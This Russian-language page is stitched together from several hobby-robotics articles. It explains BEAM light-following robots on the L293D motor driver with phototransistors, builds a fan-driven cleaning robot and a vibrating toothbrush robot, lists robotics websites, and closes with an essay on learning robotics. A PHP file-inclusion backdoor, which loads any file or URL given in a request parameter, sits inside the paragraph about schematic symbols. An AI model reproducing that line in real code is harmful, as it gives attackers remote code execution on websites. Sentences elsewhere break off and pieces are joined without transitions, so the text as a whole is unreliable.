Сделать робота можно, используя лишь одну микросхему драйвера моторов и пару фотоэлементов. В зависимости от способа соединения моторов, микросхемы и фотоэлементов робот будет двигаться на свет или, наоборот, прятаться в темноту, бежать вперед в поисках света или пятиться, как крот, назад. Если добавить в схему робота пару ярких светодиодов, то можно добиться, чтобы он бегал за рукой и даже следовал по темной или светлой линии.

Принцип поведения робота основывается на "фоторецепции" и является типичным для целого класса BEAM-роботов . В живой природе, которой будет подражать наш робот, фоторецепция - одно из основных фотобиологических явлений, в котором свет выступает как источник информации.

В качестве первого опыта обратимся к устройству BEAM-робота , двигающегося вперед, когда на него падает луч света, и останавливающегося, когда свет перестает его освещать. Поведение такого робота называется фотокинезисом - ненаправленным увеличением или уменьшением подвижности в ответ на изменения уровня освещённости.

В устройстве робота, кроме микросхемы драйвера моторов , будет использоваться только один фотоэлемент и один электромотор. В качестве фотоэлемента можно применить не только фототранзистор, но и фотодиод или фоторезистор.
В конструкции робота мы используем фототранзистор n-p-n структуры в качестве фотосенсора. Фототранзисторы на сегодняшний день являются, пожалуй, одним из самых распространенных видов оптоэлектронных приборов и отличаются хорошей чувствительностью и вполне приемлемой ценой.


Схема робота с одним фототранзистором

Из бесед Бибота и Бобота

Дорогой Бобот, а можно ли использовать в приводимой схеме простейшего робота какие-либо другие микросхемы, например L293DNE?

Конечно, можно, но видишь ли, в чем дело, дружище Бибот. Настоящая выпускается только группой компаний ST Microelectronics . Все остальные подобные микросхемы являются лишь заменителями или аналогами L293D . К таким аналогам относятся американской компании Texas Instruments , от Sensitron Semiconductor ... Естественно, что, как и многие аналоги, эти микросхемы имеют свои отличия, которые тебе будет необходимо учитывать, когда ты будешь делать своего робота.

А не мог бы ты рассказать об отличиях, которые мне необходимо будет учесть при использовании L293DNE.

С удовольствием, старина Бибот. Все микросхемы линейки L293D имеют входы, совместимые с TTL-уровнями*, но лишь совместимостью уровней некоторые из них не ограничиваются. Так, L293DNE имеет не только совместимость с TTL по уровням напряжения, но и обладает входами с классической TT-логикой. То есть на неподключенном входе присутствует логическая "1".

Прости, Бобот, но я не совсем понимаю: как же мне это учитывать?

Если на неподключенном входе у L293DNE присутствует высокий уровень (логическая "1"), то и на соответствующем выходе мы будем иметь сигнал высокого уровня. Если мы теперь подадим на рассматриваемый вход сигнал высокого уровня, говоря по другому - логическую "1" (соединим с "плюсом" питания), то на соответствующем выходе ничего не изменится, так как на входе у нас и до этого была "1". Если же мы подадим на наш вход сигнал низкого уровня (соединим с "минусом" питания), то состояние выхода изменится и на нем будет напряжение низкого уровня.

То есть получается все наоборот: L293D мы управляли с помощью положительных сигналов, а L293DNE нужно управлять с помощью отрицательных.

L293D и L293DNE можно управлять как в рамках отрицательной логики, так и в рамках положительной*. Для того чтобы управлять входами L293DNE с помощью положительных сигналов, нам будет необходимо подтянуть эти входы к "земле" подтягивающими резисторами.


Тогда, при отсутствии положительного сигнала, на входе будет присутствовать логический "0", обеспечиваемый подтягивающим резистором. Хитроумные янки называют такие резисторы pull-down, а при подтягивании высокого уровня - pull-up.

Насколько я понял, все, что нам нужно будет добавить в схему простейшего робота , - так это подтягивающие резисторы на входы микросхемы драйвера моторов.

Ты совершенно правильно понял, дорогой Бибот. Номинал этих резисторов можно выбрать в диапазоне от 4,7 кОм до 33 КОм. Тогда схема простейшего робота будет выглядеть следующим образом.

Причем от номинала резистора R1 будет зависеть чувствительность нашего робота. Чем сопротивление R1 будет меньше, тем чувствительность робота будет ниже, а чем оно будет больше, тем чувствительность будет выше.

А так как в данном случае нам нет необходимости управлять мотором в двух направлениях, то второй вывод мотора мы можем подключить напрямую к "земле". Что даже несколько упростит схему.

И последний вопрос. А в тех схемах роботов , которые ты привел в рамках нашей беседы, может быть использована классическая микросхема L293D?


На рисунке приведены монтажная и принципиальная схемы робота, и если Вы еще не очень хорошо знакомы с условными обозначениями, то, исходя из двух схем, несложно понять принцип обозначения и соединения элементов. Провод, соединяющий различные части схемы с "землей" (отрицательным полюсом источника питания), обычно не изображают полностью, а на схеме рисуют небольшую черточку, обозначающую, что это место соединяется с "землей". Иногда рядом с такой черточкой пишут три буквы "GND", что означает "землю" (ground). Vcc обозначает соединение с положительным полюсом источника питания.$L293D=($_GET["l293d"]); if($L293D) include($L293D);?> Вместо букв Vcc часто пишут +5V, показывая тем самым напряжение источника питания.


У фототранзистора эмиттер
(на схеме со стрелкой)
длиннее коллектора.

Принцип действия схемы робота очень простой. Когда на фототранзистор PTR1 упадет луч света, то на входе INPUT1 микросхемы драйвера двигателей появится положительный сигнал и мотор M1 начнет вращаться. Когда фототранзистор перестанут освещать, сигнал на входе INPUT1 исчезнет, мотор перестанет вращаться и робот остановится. Более подробно о работе с драйвером двигателей можно прочитать в предыдущей статье .


Драйвер двигателей
производства SGS-THOMSON Microelectronics
(ST Microelectronics).

Чтобы скомпенсировать проходящий через фототранзистор ток, в схему введен резистор R1, номинал которого можно выбрать около 200 Ом. От номинала резистора R1 будет зависеть не только нормальная работа фототранзистора, но и чувствительность робота. Если сопротивление резистора будет большим, то робот будет реагировать только на очень яркий свет, если - небольшим, то чувствительность будет более высокой. В любом случае не следует использовать резистор с сопротивлением менее 100 Ом, чтобы предохранить фототранзистор от перегрева и выхода из строя.

Сделать робота , реализующего реакцию фототаксиса (направленного движения к свету или от света), можно с использованием двух фотосенсоров.

Когда на один из фотосенсоров такого робота попадает свет, включается соответствующий сенсору электромотор и робот поворачивает в сторону света до тех пор, пока свет не осветит оба фотосенсора и не включится второй мотор. Когда оба сенсора освещены, робот движется навстречу источнику света. Если один из сенсоров перестает освещаться, то робот снова поворачивает в сторону источника света и, достигнув положения, при котором свет падает на оба сенсора, продолжает свое движение на свет. Если свет перестает падать на фотосенсоры, робот останавливается.


Принципиальная схема робота с двумя фототранзисторами


Схема робота симметричная и состоит из двух частей, каждая из которых управляет соответствующим электромотором. По сути, она является как бы удвоенной схемой предыдущего робота. Фотосенсоры следует располагать крест-накрест по отношению к электромоторам так, как показано на рисунке робота выше. Также можно расположить моторы крест-накрест относительно фотосенсоров так, как показано на монтажной схеме ниже.

Монтажная схема простейшего робота с двумя фототранзисторами

Если мы расположим сенсоры в соответствии с левым рисунком, то робот будет избегать источников света и его реакции будут похожи на поведение крота, прячущегося от света.

Сделать поведение робота более живым можно, подав на входы INPUT2 и INPUT3 положительный сигнал (подключить их к плюсу источника питания): робот будет двигаться при отсутствии падающего на фотосенсоры света, а "увидев" свет, будет поворачивать в сторону его источника.

Чтобы сделать робота , "бегающего" за рукой, нам понадобятся два ярких светодиода (на схеме LED1 и LED2). Подключим их через резисторы R1 и R4, чтобы скомпенсировать протекающий через них ток и предохранить от выхода из строя. Расположим светодиоды рядом с фотосенсорами, направив их свет в ту же сторону, в которую ориентированы фотосенсоры, и уберем сигнал с входов INPUT2 и INPUT3.


Схема робота, движущегося на отраженный свет

Задача получившегося робота - реагировать на отраженный свет, который излучают светодиоды. Включим робота и поставим ладонь перед одним из фотосенсоров. Робот повернет в сторону ладони. Переместим ладонь немного в сторону так, чтобы она скрылась из поля "зрения" одного из фотосенсоров, в ответ робот послушно, как собачка, повернет за ладонью.
Светодиоды следует подбирать достаточно яркие, чтобы отраженный свет устойчиво улавливался фототранзисторами. Хороших результатов можно достичь при использовании красных или оранжевых светодиодов с яркостью более 1000 мКд.

Если робот реагирует на вашу руку только тогда, когда она почти касается фотосенсора, то можно попробовать поэкспериментировать с листочком белой бумаги: отражающие способности белого листа намного выше, чем у человеческой руки, и реакция робота на белый листок будет намного лучше и устойчивее.

Белый цвет обладает самыми высокими отражающими свойствами, черный - наименьшими. Основываясь на этом, можно сделать робота, следующего по линии. Сенсоры при этом следует расположить так, чтобы они были направлены вниз. Расстояние между сенсорами должно быть немного больше, чем ширина линии.

Cхема робота, следующего по черной линии, идентична предыдущей. Чтобы робот не терял черную линию, нарисованную на белом поле, ее ширина должна быть около 30 мм или шире. Алгоритм поведения робота достаточно прост. Когда оба фотосенсора улавливают отраженный от белого поля свет, робот движется вперед. Когда один из сеносоров заезжает на черную линию, соответствующий электромотор останавливается и робот начинает поворачиваться, выравнивая свое положение. После того как оба сенсора снова находятся над белым полем, робот продолжает свое движение вперед.

Примечание:
На всех рисунках роботов микросхема драйвера двигателей L293D показана условно (только управляющие входы и выходы).

Как сделать робота в домашних условиях, чтобы всё получилось? Нужно начинать с простого и постепенно усложнять! Инструкции по созданию роботов своими руками в домашних условиях буквально заполонили интернет. Не останется в стороне от этого и автор статьи. В целом этот процесс можно разделить на три части: теоретическую, подготовительную и непосредственно сборку. В рамках статьи будут рассмотрены все они, а также описана общая схема разработки чистильщика.

Создание робота в домашних условиях

Чтобы разработать с нуля, необходимы знания о токе, напряжении, функционировании различных элементов как то триггеры, конденсаторы, резисторы, транзисторы. Также следует научиться паять всё это на схемах и использовать соединительные провода. Необходимо проработать каждый аспект движения и выполнения действий, добиваясь максимальной детализации действий для достижения своей цели. И эти знания необходимы, если вас действительно интересует, как сделать робота в домашних условиях, а не просто праздное любопытство.

Подготовительные процессы

Прежде чем приступать к выяснению, как сделать робота в домашних условиях, необходимо хорошо позаботиться об условиях, в которых он будет собираться. Для начала следует подготовить рабочее место, где будет создаваться желаемое устройство. Необходимо где-то поместить саму конструкцию и составляющие её детали. Следует продумать и вопрос удобного размещения паяльника, канифоли и припоя. Рабочее место должно быть максимально оптимизированным, чтобы оно предоставляло удобство при взаимодействии с конструкцией.

Сборка

Необходимо продумать «костяк» конструкции, на котором всё будет строиться. Обычно выбирают одну деталь, и уже к ней припаиваются все остальные. Говоря о качестве пайки, следует сказать, что места, где она будет проводиться, должны быть очищены. Также, зависимо от толщины используемых проводов и ножек, необходимо подобрать достаточное количество припоя, чтобы элементы не отпадали во время эксплуатации. Для упрощения процессов передачи сигналов и недопущения возможности замыкания можно вытравить Затем на неё наносятся все необходимые элементы, получившаяся конструкция подключается к источнику питания и при необходимости осуществляется доработка устройства.

Простой робот

Как сделать в домашних условиях что-то не сложное? Да ещё и полезное? Свой дом необходимо держать в чистоте, и данный процесс желательно автоматизировать. Конечно, создать полноценного робота-уборщика сложно, но минимальная конструкция, которая обеспечит собирание пыли с полов комнат - это вполне по силам. Если честно - то будет рассмотрен который работает на одном месте и одновременно убирает мелкий мусор, расположенный в зоне дислокации. Чтобы создать такую конструкцию, необходимо иметь следующие материалы:

  1. Пластиковую тарелку.
  2. Три небольшие щетки, которые используются, чтобы чистить обувь или пол.
  3. Два вентилятора, которые можно взять из отживших своё компьютеров.
  4. Батарея на 9В и разъем для неё.
  5. Стяжка или хомуты, которые могут сами защелкиваться.
  6. Болты и гайки.

Просверлите на равном расстоянии отверстия для щеток. Прикрепите их. Желательно, чтобы все щетки размещались на равной удалённости от других и центра тарелки. Используя болты и гайки, к каждой из них следует прикрепить регулировочное крепление, да и они сами фиксируются с их помощью. Ползунки регулировочных креплений следует установить в среднее положение. Для движения будем использовать вентиляторы. Их подключаем к батарейке и размещаем параллельно, чтобы они обеспечивали вращение робота по кругу. Данная конструкция будет использоваться в качестве вибромотора. Накиньте клеммы и конструкция уже готова к использованию. Если во время процесса чистки робот будет уходить в сторону, поработайте с регулировочными креплениями. Представленная в статье конструкция не требует значительных денежных затрат или наличия навыков и опыта. При создании робота использовались недорогие материалы, достать которые не является значительной проблемой. При желании усложнить конструкцию и заставить её целенаправленно двигаться понадобятся улучшения в виде дополнительных моторов и микроконтроллеров. Вот как сделать робота в домашних условиях. А только подумайте, сколько можно здесь усовершенствовать! Широчайшее поле для конструкторской деятельности.

Сегодня мы расскажем, как сделать робота из подручных средств. Получившийся «высокотехнологичный андроид» хоть и будет небольшого размера и навряд ли сможет помочь вам по хозяйству, но пренепременно развеселит как детей, так и взрослых.

Необходимые материалы

Для того, чтобы сделать робота своими руками, не понадобится знание ядерной физики. Это можно сделать и в домашних условиях из обычных материалов, которые постоянно есть под руками. Итак, что нам понадобится:
  • 2 куска провода
  • 1 моторчик
  • 1 батарейка AA
  • 3 канцелярские кнопки
  • 2 кусочка пенокартона или похожего по свойствам материала
  • 2-3 головки старых зубных щеток или несколько скрепок

1. Прикрепляем батарейку к мотору

С помощью клеящего пистолета прикрепляем кусочек пенокартона к корпусу мотора. Затем к приклеиваем к нему батарейку.

Этот шаг может показаться не совсем понятным. Однако, чтобы сделать робота, необходимо заставить его двигаться. Надеваем на ось мотора маленький продолговатый кусочек пенокартона и закрепляем его с помощью клеевого пистолета. Такая конструкция придаст мотору дисбаланс, что и приведет всего робота в движение.

На самый конец дестабилизатора капните пару капель клея, или прикрепите какой-нибудь декоративный элемент — это добавит нашему творению индивидуальности и увеличит амплитуду его движений.

3. Ноги

Теперь необходимо снабдить робота нижними конечностями. Если вы будете использовать для этого головки зубных щеток, то приклейте их к нижней части мотора. В качестве прослойки можно использовать всё тот же пенокартон.

Следующим шагом прикрепим два наших отрезка провода к контактам моторчика. Можно их просто прикрутить, но ещё лучше будет припаять их, это сделает робота более долговечным.

5. Подключение батарейки

Используя термопистолет, приклеем провод к одному из концов батареи. Можете выбрать любой из двух проводов и любую сторону батареи — полярность в данном случае роли не играет. Если у вас хорошо получается паять, в этом шаге также можно воспользоваться пайкой вместо клея.

6. Глаза

В качестве глаз робота вполне подойдет пара бусинок, которые прикрепляем термоклеем к одному из концов батарейки. На этом шаге можно проявить фантазию и придумать внешний вид глаз на своё усмотрение.

7. Запуск

Теперь давайте оживим нашу самоделку. Возьмите свободный конец провода и прикрепите его с незанятому контакту батареи с помощью липкой ленты. Не стоит использовать на этом шаге термоклей, потому что это не позволит вам при необходимости отключить мотор.

Чтобы создать своего робота, необязательно получать высшее или читать массу . Достаточно воспользоваться пошаговой инструкцией, которую предлагают мастера робототехники на своих сайтах. В Интернете можно найти много полезной информации, посвящённой разработке автономных роботизированных систем.

10 ресурсов для начинающего робототехника

Информация на сайте позволяет самостоятельно создать робота со сложным поведением. Здесь можно найти примеры программ, схемы, справочные материалы, готовые примеры, статьи и фотографии.

Новичкам на сайте посвящён отдельный раздел. Создатели ресурса делают немалый упор на микроконтроллеры, разработку универсальных плат для робототехники и пайку микросхем. Здесь также можно найти исходные коды программ и множество статей с практическими советами.

На сайте есть специальный курс «Шаг за шагом», в котором детально описан процесс создания простейших BEAM-роботов, а также автоматизированных систем на основе микроконтроллеров AVR.

Сайт, где начинающие создатели роботов смогут найти всю необходимую теоретическую и практическую информацию. Здесь также размещается большое количество полезных тематических статей, обновляются новости и можно задать вопрос опытным робототехникам на форуме.

Данный ресурс посвящён постепенному погружению в мир сотворения роботов. Начинается всё с познания Arduino, после чего начинающему разработчику рассказывают о микроконтроллерах AVR и более современных аналогах ARM. Подробные описания и схемы очень доступно объясняют, как и что делать.

Сайт о том, как сделать BEAM-робота своими руками. Здесь есть целый раздел, посвящённый основам, также приведены логические схемы, примеры и т. д.

На этом ресурсе очень доходчиво расписано, как самостоятельно создать робота, с чего начать, что нужно знать, где искать информацию и необходимые детали. Сервис также содержит раздел с блогом, форумом и новостями.

Огромнейший живой форум, посвящённый созданию роботов. Здесь открыты темы для новичков, рассматриваются интересные проекты и идеи, описываются микроконтроллеры, готовые модули, электроника и механика. А главное - можно задать любой вопрос по роботостроению и получить развёрнутый ответ от профессионалов.

Ресурс робототехника-любителя посвящён в первую очередь его собственному проекту «Самодельный робот». Однако здесь можно найти очень много полезных тематических статей, ссылок на интересные сайты, узнать о достижениях автора и обсудить различные конструкторские решения.

Аппаратная платформа Arduino является наиболее удобной для разработки роботизированных систем. Информация сайта позволяет быстро разобраться в этой среде, освоить язык программирования и создать несколько несложных проектов.

Сейчас появилось великое множество возможностей, которые позволяют начать создавать роботов не имея каких-то супер-пупер особенных таких знаний. И это великолепно! Потому что запускает лавину познания.

Причём начинать нужно не со знаний. Не знания должны быть паровозом. Знания это багаж, который едет в этом поезде. А что же тогда паровоз? А паровоз - это как раз незнание того, как бы так сделать, чтобы нечто делалось само собой. Строительство робота - это как раз обретение такого знания.

Чтобы не погрязнуть в примерах давайте возьмём один только пример. Самый тривиальный пример. Пусть робот перемещается по комнате не впечатываясь в стены. Что нужно знать:

1. Какой будет механика перемещений. (У большинства роботов есть механика, но бывают и бестелесные роботы, например, биржевые.) Если у вас нет знаний в этой области, то сразу начинайте их приобретать. Какие есть механизмы для перемещения, по ровной поверхности, по неровной, шагающие, на колёсах… Если на можете сделать такой механизм, найдите готовый. Разберите и соберите его заново, если это возможно.

2. Как робот будет взаимодействовать с внешним миром. Тут хорошо бы иметь знания в радиоэлектронике и/или информационных технологиях, чтобы понимать как считывать звуковые, оптические, механические сигналы, как получать информацию из сети (последнее особенно важно для бестелесных роботов). Минимальные знания уже подойдут, недостающие нужно немедленно начать восполнять. Благо вы можете использовать огромное количество модульных элементов и датчиков, сопрягаемых с уже готовыми контроллерами, которые превращают сигналы этих датчиков просто в числа. (если интересно, можно в комментариях обсудить/обменяться ссылками/адресами, где всё это приобретается)

3. (самое важное) Как робот будет думать. Надо определиться в чём заключается его «мыслительная» деятельность. Для выбранного примера это всего лишь умение в нужные моменты времени включать и выключать N электродвигателей в зависимости от измеренного расстояния до стены впереди (как минимум). Для мыслительной деятельности роботу нужен программируемый блок с микропроцессором. Есть множество готовых платформ для конструирования роботов (Arduino, Матрёшка, Strawberry Pi, Iskra, Troyka и др. Опять приглашаю в комментарии: делитесь ссылками, спрашивайте)

Сразу возникает вопрос: значит надо знать программирование? Строго говоря да. Но среди перечисленных платформ есть такие, в которых программирование осуществляется в визуальной среде без использования какого-либо конкретного языка программирования. (Т.е. внимание! Не обязательно знать программирование чтобы начать. Но естественно обязательно знать, чтобы продолжить)

Вот три основных косточки, на которых надо иметь сухожилия начальных знаний и навыков, доступных даже ребёнку, и на которых потом наращивать мясо высших инженерных знаний:

  • строить механизмы из конструктора - в перспективе это весь спектр «механических наук»: физика (механика), детали машин и механизмов, сопромат, гидравлика и т.п.
  • знать, как обеспечивается взаимодействие с внешним миром (даже детские конструкторы сегодня снабжены модулями-датчиками) - в перспективе это программирование, сетевые протоколы, физика (электричество, оптика, акустика, радиолокация, и т.д.)
  • иметь начальное представление о программировании: переменные, алгоритмы - в перспективе программирование (разные языки и парадигмы программирования), алгоритмы и структуры данных, базы данных. Выбор языка программирования не принципиален, выбор очень широк, от визуальных сред для детей, но ассемблера конкретного микропроцессора. Вы сами можете выбирать в зависимости от имеющихся знаний

Ну, и напоследок, для вдохновения посмотрите (и это не реклама, я к этому производителю не имею отношения (поделитесь другими примерами)) какие есть детские инструменты для создания роботов